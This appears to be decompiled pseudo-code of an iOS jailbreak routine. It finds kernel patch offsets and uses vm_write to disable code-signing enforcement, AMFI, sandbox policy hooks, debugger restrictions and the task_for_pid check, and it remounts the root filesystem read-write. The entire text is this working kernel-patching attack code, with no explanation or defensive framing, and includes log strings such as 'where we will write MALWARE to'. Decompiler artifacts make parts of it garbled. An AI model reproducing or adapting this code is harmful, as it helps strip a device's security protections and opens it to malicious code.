int _betterWorkingAndShit(int arg0, int arg1, int arg2, int arg3) { r7 = (sp - 0x14) + 0xc; sp = sp - 0xb8; r11 = arg0; r10 = arg3; _logToFile("Hacking the kernel\n", arg1, arg2, arg3); _kernelSize(arg1, sp + 0x8c); _logToFile("Kernel size: 0x%08x\n", r10, arg2, arg3); r5 = [[NSNotificationCenter defaultCenter] retain]; r7 = r7; r4 = [[NSDictionary dictionaryWithObjects:sp + 0x88 forKeys:sp + 0x84 count:0x1, stack[2003], stack[2004], stack[2005], stack[2006], @selector(defaultCenter), @selector(dictionaryWithObjects:forKeys:count:), stack[2009], stack[2010], stack[2011], stack[2012], stack[2013], stack[2014], stack[2015], stack[2016], stack[2017], stack[2018], stack[2019], stack[2020], stack[2021], stack[2022], stack[2023], stack[2024], stack[2025], stack[2026], stack[2027]] retain]; [r5 postNotificationName:@"YLUDidReceiveUpdateProgressNotification" object:0x0 userInfo:r4]; [r4 release]; [r5 release]; r3 = sp + 0x7c; r2 = r10; stack[2010] = arg1; stack[2009] = arg2; _find_lwvm_patch_offsets(arg1, arg2, r2, r3, sp + 0x80); asm { ldrd r1, r2, [sp, #0xb0 + var_34] }; r0 = _logToFile("Will write 0x%08x,0x%08x\n", r1, r2, r3); asm { ldrd r3, r0, [sp, #0xb0 + var_34] }; stack[2004] = r11; if (r3 <= 0x4) { r2 = "\xC0F\xC0F"; r1 = vm_write(r11, r0 - r3, r2, r3); if (r1 != 0x0) { r2 = "\xC0F\xC0F"; _logToFile("Shit, vm write returned nonzero value: %d\n", r1, r2, r3); } } else { vm_write(*0x55dd0, r3, sp + 0x34, 0x4); } stack[2008] = @selector(dictionaryWithObjects:forKeys:count:); stack[2006] = @selector(postNotificationName:object:userInfo:); r7 = r7; r5 = [[NSNotificationCenter defaultCenter] retain]; asm { strd r1, r0, [sp, #0xb0 + var_3C] }; r7 = r7; r4 = [objc_msgSend(@class(NSDictionary), stack[2008]) retain]; r6 = 0x0; objc_msgSend(r5, stack[2006]); [r4 release]; r0 = [r5 release]; asm { ldrd fp, r0, [sp, #0xb0 + var_94] }; _find_remount_patch_offset(r0, r11, r10, sp + 0x70); _logToFile("Found remount off: 0x%08x\n", stack[2030], r10, sp + 0x70); r8 = 0x55dd0; vm_read_overwrite(*r8, stack[2030], 0x4, sp + 0x94, sp + 0x34); r5 = "Original value 0x%08x\n"; _logToFile(r5, r6, 0x4, sp + 0x94); stack[2005] = r10; asm { bfi r4, sl, #0x8, #0x8 }; vm_write(*r8, stack[2030], sp + 0x34, 0x4); vm_read_overwrite(*r8, stack[2030] + 0x14, 0x4, sp + 0x94, sp + 0x34); r4 = r6; _logToFile(r5, r4, 0x4, sp + 0x94); r0 = stack[2030]; r2 = sp + 0x34; r3 = 0x4; asm { bfi r4, sl, #0x8, #0x8 }; r10 = stack[2005]; vm_write(*r8, r0 + 0x14, r2, r3); strdup("/dev/disk0s1s1"); _logToFile("Mount succeeded? %d\n", mount("hfs", "/", 0x10000, sp + 0x6c), 0x10000, sp + 0x6c); r5 = [objc_msgSend(@class(NSNotificationCenter), stack[2007]) retain]; r7 = r7; r4 = [objc_msgSend(@class(NSDictionary), stack[2008], sp + 0x68, sp + 0x64, 0x1, stack[2003], stack[2004], stack[2005], stack[2006], stack[2007], stack[2008], stack[2009], stack[2010], stack[2011], stack[2012], stack[2013], stack[2014], r4, stack[2016], stack[2017], stack[2018], stack[2019], stack[2020], stack[2021], stack[2022], stack[2023], stack[2024]) retain]; objc_msgSend(r5, stack[2006]); [r4 release]; [r5 release]; r4 = stack[2010]; _find_amfi_patch_offsets(r4, r11, r10, sp + 0x60, sp + 0x5c); asm { ldrd r2, r1, [sp, #0xb0 + var_54] }; _logToFile("What we hacked: 0x%08x 0x%08x\n", r1, r2, r3); vm_write(*r8, stack[2026], sp + 0x34, 0x4); _find_i_can_has_debugger_patch_off(r4, r11, r10, sp + 0x58); _logToFile("I can has debugger dst: 0x%08x\n", stack[2024], r10, sp + 0x58); vm_write(*r8, stack[2024], sp + 0x34, 0x4); r11 = stack[2004]; r1 = stack[2024] + 0x55; if (vm_write(r11, r1, "Marijuan", 0x8) != 0x0) { _logToFile("failed write kernel\n", r1, "Marijuan", 0x8); } _find_amfi_substrate_patch(stack[2010], stack[2009], r10, sp + 0x54); _find_real_vm_map_enter_patch(stack[2010], stack[2009], r10, sp + 0x50, sp + 0x4c); _find_real_vm_map_protect_patch(stack[2010], stack[2009], r10, sp + 0x48); asm { ldrd r2, r1, [sp, #0xb0 + var_60] }; asm { ldrd r6, r3, [sp, #0xb0 + var_68] }; _logToFile("Found a bunch of shit, amfi substrate: 0x%08x, vm map enter 0x%08x 0x%08x, vm_map_protect 0x%08x\n", r1, r2, r3); r1 = vm_write(r11, stack[2023], 0x4fe80, 0x2); if (r1 != 0x0) { _logToFile("Something went wrong vm writing amfi substrate HACK: %d\n", r1, 0x4fe80, 0x2); } r1 = vm_write(r11, stack[2022], 0x4fe80, 0x2); if (r1 != 0x0) { _logToFile("Something went wrong vm writing vm map enter HACK: %d\n", r1, 0x4fe80, 0x2); } r8 = 0x55dd0; vm_write(*r8, stack[2021], sp + 0x34, 0x4); vm_write(*r8, stack[2020], sp + 0x34, 0x4); stack[2003] = sp + 0x3c; r0 = sp + 0x40; stack[2002] = r0; asm { ldrd r1, r0, [sp, #0xb0 + var_94] }; _find_another_amfi_hack(r0, r1, r10, sp + 0x44, stack[2002], stack[2003]); asm { ldrd r3, r2, [sp, #0xb0 + var_74] }; _logToFile("0x%08x 0x%08x 0x%08x\n", stack[2019], r2, r3); vm_read_overwrite(r11, stack[2019], 0x8, sp + 0x34, sp + 0x30); r10 = stack[2037]; _logToFile("where we will write MALWARE to: 0x%08x\n", r10, 0x8, sp + 0x34); vm_write(*r8, stack[2019], sp + 0x94, 0x4); vm_write(*r8, stack[2019] + 0x4, sp + 0x94, 0x4); r1 = r10; if (vm_write(r11, r1, 0x4fe83, 0x10) != 0x0) { _logToFile("Hacked FAILED\n", r1, 0x4fe83, 0x10); } r8 = 0x55dd0; vm_write(r11, r10 + 0x10, sp + 0x34, 0x8); r5 = [[NSNotificationCenter defaultCenter] retain]; asm { strd r1, r0, [sp, #0xb0 + var_88] }; r4 = [objc_msgSend(@class(NSDictionary), stack[2008]) retain]; r11 = 0x0; objc_msgSend(r5, stack[2006]); [r4 release]; [r5 release]; r10 = stack[2010]; r6 = stack[2009]; r5 = stack[2005]; _find_tfp_off(r10, r6, r5, sp + 0x24); r1 = stack[2011]; r2 = sp + 0x94; asm { strd fp, fp, [sp, #0xb0 + var_20] }; vm_read_overwrite(*r8, r1, 0x4, sp + 0x90, r2); r4 = sp + 0x94; vm_write(*r8, stack[2011], r4, 0x4); _logToFile("patched pid_check\n", stack[2011], r4, 0x4); r0 = _find_cs_enforcement_disable_amfi(); asm { strd fp, fp, [sp, #0xb0 + var_20] }; vm_read_overwrite(*r8, r0 + r10, 0x4, sp + 0x90, r4); vm_write(*r8, r0 + r10, sp + 0x94, 0x4); _find_sbops(r10, r6, r5, sp + 0x90); _logToFile("Found sbops 0x%08x\n", stack[2038], r5, sp + 0x90); vm_write(*r8, stack[2038] + 0x90, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x1e0, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x1e0, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x3f0, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x3f8, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x3fc, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x400, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x404 }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x408, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x40c }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x410, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x414 }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x420, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x424 }; vm_write(r0, r1, r2, r3); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x42c }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x438, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x44c }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x450, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x454 }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x458, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x45c }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x460, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x460, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x464 }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x468, sp + 0x94, 0x4); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x46c }; vm_write(r0, r1, r2, r3); r1 = stack[2038]; r2 = sp + 0x94; r0 = *r8; r3 = 0x4; asm { addw r1, r1, #0x4bc }; vm_write(r0, r1, r2, r3); vm_write(*r8, stack[2038] + 0x4f0, sp + 0x94, 0x4); vm_write(*r8, stack[2038] + 0x3d4, sp + 0x94, 0x4); r0 = vm_write(*r8, stack[2038] + 0x168, sp + 0x94, 0x4); return r0; }